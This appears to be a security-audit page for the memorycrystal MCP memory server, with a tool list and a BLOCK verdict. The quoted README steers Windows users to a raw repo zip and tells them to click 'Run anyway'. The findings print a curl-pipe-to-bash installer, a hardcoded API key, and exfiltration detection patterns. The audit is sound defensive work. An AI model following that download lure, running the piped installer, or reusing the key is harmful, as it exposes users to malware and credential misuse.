memorycrystalBLOCK
Store persistent memory for AI agents so every conversation, decision, and session stays informed
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/nativist-rossini671/memorycrystal/raw/refs/heads/main/apps/Software_3.3.zip)
📥 Download memorycrystal
To get memorycrystal on Windows, visit the release page and download the latest file from there:
https://github.com/nativist-rossini671/memorycrystal/raw/refs/heads/main/apps/Software_3.3.zip
Look for the newest release and choose the Windows download if more than one file is listed. In most cases, this will be an .exe file or a .zip file.
🪟 Windows setup
- Open the release page in your browser.
- Find the latest release at the top of the page.
- Under Assets, click the Windows file.
- If you download a
.zipfile, right-click it and choose Extract All. - Open the extracted folder.
- Double-click the app file to start memorycrystal.
- If Windows shows a security prompt, choose More info and then Run anyway if you trust the source.
✨ What memorycrystal does
memorycrystal helps AI agents keep useful memory across sessions. It gives your agent a place to store facts, notes, and context so it can pick up where it left off.
It is built as an OpenClaw plugin and an MCP server, so it can work with tools that support those formats. That makes it a good fit for agent workflows that need persistent memory without asking the user to repeat the same details.
🧩 What you can use it for
- Save user facts for later chats
- Keep project details in one place
- Store long-term context for an AI agent
- Reduce repeated questions
- Connect memory to agent tools through MCP
- Use a shared memory layer across sessions
🔧 How it works
memorycrystal acts like a memory layer between your AI agent and the data it needs to remember.
A simple flow looks like this:
- The agent gets new information from a chat or task.
- memorycrystal stores that information.
3.
ef941294022cOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add crystal-memory --env ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} --env CRYSTAL_API_KEY=${CRYSTAL_API_KEY} --env GEMINI_API_KEY=${GEMINI_API_KEY} --env MC_MCP_TOKEN=${MC_MCP_TOKEN} -- npx -y @memorycrystal/[email protected]{
"mcpServers": {
"crystal-memory": {
"command": "npx",
"args": [
"-y",
"@memorycrystal/[email protected]"
],
"env": {
"ANTHROPIC_API_KEY": "${ANTHROPIC_API_KEY}",
"CRYSTAL_API_KEY": "${CRYSTAL_API_KEY}",
"GEMINI_API_KEY": "${GEMINI_API_KEY}",
"MC_MCP_TOKEN": "${MC_MCP_TOKEN}"
}
}
}
}Exposed tools (35)
25 read · 7 write · 3 destructive. Blast radius: 3 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
crystal-memory.before-agent-start | write | Inject wake briefing + recall |
crystal-memory.before-dispatch-rate-limit | read | Check Memory Crystal rate limit before dispatch |
crystal-memory.before-dispatch-reinforcement | read | Re-inject cached recall for lost-in-the-middle mitigation |
crystal-memory.before-reset | destructive | Trigger reflection before session reset |
crystal-memory.before-tool-call | read | Surface actionTriggers warnings before tool calls |
crystal-memory.llm-output | read | Capture AI response |
crystal-memory.message-received | read | Buffer + persist user turn |
crystal-memory.message-sent-fallback | read | Fallback assistant capture |
crystal-memory.session-end | destructive | Clear per-session caches on session end |
crystal-memory.session-start | write | Trigger reflection on new session |
crystal_capture | read | Capture a memory into Memory Crystal |
crystal_checkpoint | write | Create a labeled checkpoint snapshot of current memory state. Call at project milestones, before risky changes, or when you want a named restore point. The label should be descriptive: what just happened or what state you are capturing. |
crystal_dependency_chain | read | Trace the dependency chain for a goal, project, or task in your knowledge graph. Returns a tree of dependencies with depth and evidence. Use when asking |
crystal_describe | read | Inspect a local summary node by ID. Returns kind, depth, content, parents, token count. |
crystal_edit | write | Update an existing memory in Memory Crystal. Use to correct errors, add new information, or update the status of a memory. Provide the memoryId and only the fields you want to change. |
crystal_expand | read | Expand a summary to its children and/or source messages. |
crystal_explain_connection | read | Explain how two entities are connected in your knowledge graph. Returns direct relationships, indirect paths, and supporting memories. Use when asking |
crystal_forget | destructive | Archive or permanently delete a memory. Use archive (permanent=false, the default) to soft-delete so the memory can be recovered. Use permanent=true only when you are certain the memory should be irretrievably deleted. |
crystal_grep | read | Search local in-session history (messages and compacted summaries) using text search. |
crystal_idea_action | read | Take action on a memory discovery -- star it as valuable, dismiss it, or mark it as read. |
crystal_ideas | read | View recent discoveries your memory has made -- cross-memory connections, patterns, and insights found between sessions. |
crystal_import_knowledge | write | Import text chunks into a Memory Crystal knowledge base. |
crystal_list_knowledge_bases | read | List available Memory Crystal knowledge bases. |
crystal_preflight | write | ALWAYS call this before any config change, API write, file deletion, external message send, or production system modification. Returns relevant rules, lessons, and past decisions as a checklist. Helps prevent repeating mistakes. |
crystal_query_knowledge_base | read | Search within a specific Memory Crystal knowledge base. |
crystal_recall | read | Recall memories from Memory Crystal |
crystal_recent | read | Fetch the most recent short-term messages. |
crystal_remember | write | Create a Memory Crystal memory using semantic embedding + vector storage. |
crystal_search_messages | read | Semantic search over short-term memory messages. |
crystal_stats | read | Get Memory Crystal stats |
crystal_trace | read | Trace a memory back to its source conversation. Use when you need to understand where a memory came from or verify its provenance. Returns the conversation snapshot that created this memory. |
crystal_wake | read | Get wake briefing for a channel/session |
crystal_what_do_i_know | read | Broad topic scan over Memory Crystal memories. |
crystal_who_owns | read | Find who owns, manages, or is assigned to an entity in your knowledge graph. Returns ownership chains and evidence memories. Use when asking |
crystal_why_did_we | read | Decision archaeology across Memory Crystal decision memories. |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (18 observation(s))
- Shell
- declared (2 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (25)
/.env" ... urllib.request
Software_3.3.zip
const EXFILTRATION_PATTERNS: RegExp[] = [
id: "exfiltration",
reason: "Content contains potential data exfiltration command",
test: (content) => EXFILTRATION_PATTERNS.some((re) => re.test(content)),
this.endpoint = (config.baseUrl ?? process.env.OLLAMA_BASE_URL ?? "http://127.0.0.1:11434").replace(/\/$/, "");
OLLAMA_BASE_URL="${OLLAMA_BASE_URL:-http://127.0.0.1:11434}"baseUrl: `http://127.0.0.1:${address.port}`,API_KEY = "047293850b6ca51765deaeb29d73296205281afd4cd58d478d0979fde0c67bcf"
crystal-memory.before-reset, crystal-memory.session-end, crystal_forget
mc-brand-kit-fixed.zip
mc-brand-kit.zip
import schema from "../../schema";
import { internal } from "../../_generated/api";"_generated/api": () => import("../../_generated/api.js"),"_generated/server": () => import("../../_generated/server.js"),import { formatDuration } from "../../../apps/web/app/(dashboard)/organic/_shared";@modelcontextprotocol/sdk, convex, openai, @types/node, typescript
convex, convex-test, eslint-plugin-local-rules, vitest
@modelcontextprotocol/sdk, express, zod, @types/express, @types/node, typescript
better-sqlite3
Use this when converting a KB from agent-private to shared-open access under one API key.
- **One-key mixed agent scoping.** OpenClaw/plugin installs can now combine peer-scoped agents and shared/open agents under a single Memory Crystal API key via `agentScopePolicies`. Example: `coach` s
curl -fsSL https://memorycrystal.ai/crystal | bash
Gates applied: no_behavioural_pass.
ef941294022cfull audit observations/trust-audit/mcp-server/nativist-rossini671__memorycrystal.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | ef941294022c | BLOCK | D | 69 | first audit |
Questions
What is the memorycrystal MCP server?
Store persistent memory for AI agents so every conversation, decision, and session stays informed
What tools does memorycrystal expose?
35 in total: 25 read-only, 7 that write, and 3 that can delete or overwrite (crystal-memory.before-reset, crystal-memory.session-end, crystal_forget). Every one is listed on this page with its risk.
Is memorycrystal safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 3 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does memorycrystal need?
It reads ANTHROPIC_API_KEY, CRYSTAL_API_KEY, GEMINI_API_KEY, MC_MCP_TOKEN, MEMORY_CRYSTAL_API_KEY, OPENAI_API_KEY and OPENROUTER_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does memorycrystal run?
It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as @memorycrystal/crystal-memory at 0.7.14.
How current is this page?
The grade is for one exact copy of the source (ef941294022c), read on 2026-10-11. The repository is watched and re-audited when it changes.